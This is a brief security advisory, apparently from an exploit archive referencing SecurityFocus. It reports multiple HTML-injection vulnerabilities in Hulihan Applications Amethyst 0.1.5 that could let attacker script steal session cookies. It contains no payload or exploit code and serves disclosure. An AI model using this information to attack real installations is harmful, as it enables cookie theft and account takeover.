Hulihan Applications Amethyst 0.1.5 - Multiple HTML Injection Vulnerabilities

source: https://www.securityfocus.com/bid/42253/info

Hulihan Applications Amethyst is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Hulihan Applications Amethyst 0.1.5 is vulnerable; prior versions may also be affected.
